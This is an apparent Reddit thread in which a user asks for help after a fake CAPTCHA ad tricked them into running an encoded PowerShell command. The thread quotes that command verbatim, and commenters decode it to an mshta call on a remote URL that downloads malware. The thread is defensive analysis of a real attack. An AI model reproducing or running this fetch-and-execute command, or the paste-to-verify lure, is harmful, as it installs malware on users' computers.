r/PowerShell • • Aug 23 '24

Powershell script from ad need help

hello by mistake i was on a website that opened an ad that seemed like a human verification ,it said to verify press windows r ctrl v and enter then my power shell opened and the line was powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA=

I made a lapse in judgement from ultra fatigue So I need help please πŸ™πŸ½ .

I ran tron script and immediately disconnected from the net , tron came back clear and luckily it’s my gaming rig so nothing of important on here and most accounts got 2fa although I still want to be sure and remove anything malicious without hopefully having to full wipe , can anyone help me see what damage this script has done ?

0 Upvotes

20 comments sorted by

View all comments

1

u/atheos42 Aug 24 '24

[removed] β€” view removed comment

2

u/atheos42 Aug 24 '24
# Reference:
# https://learn.microsoft.com/en-us/powershell/scripting/samples/decode-powershell-command-from-a-running-process?view=powershell-7.4

$bytes = 'bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA='

# Encode the bytes to Base64
$commandBytes = [Convert]::FromBase64String($bytes)

$decodedCommand = [System.Text.Encoding]::Unicode.GetString($commandBytes)

# Output the Base64 encoded string
Write-Output $decodedCommand

3

u/JMejia5429 Aug 24 '24

that opens the following url -- https : // requested - file . b - cdn . net / flare (putting spaces to make sure folks dont just click it).

the exe it downloads, looks to check for a dialer and the last numbers called.

In any case, pretty confident this didn't do anything 'safe'. you can run antiviruses and hope it gets rid of it or best way -- wipe the pc and start fresh.

Lesson of the day, don't do / run random shit off the net.

1

u/EkriirkE Aug 24 '24

I see 3 embedded executables inside and a large obfuscated javascript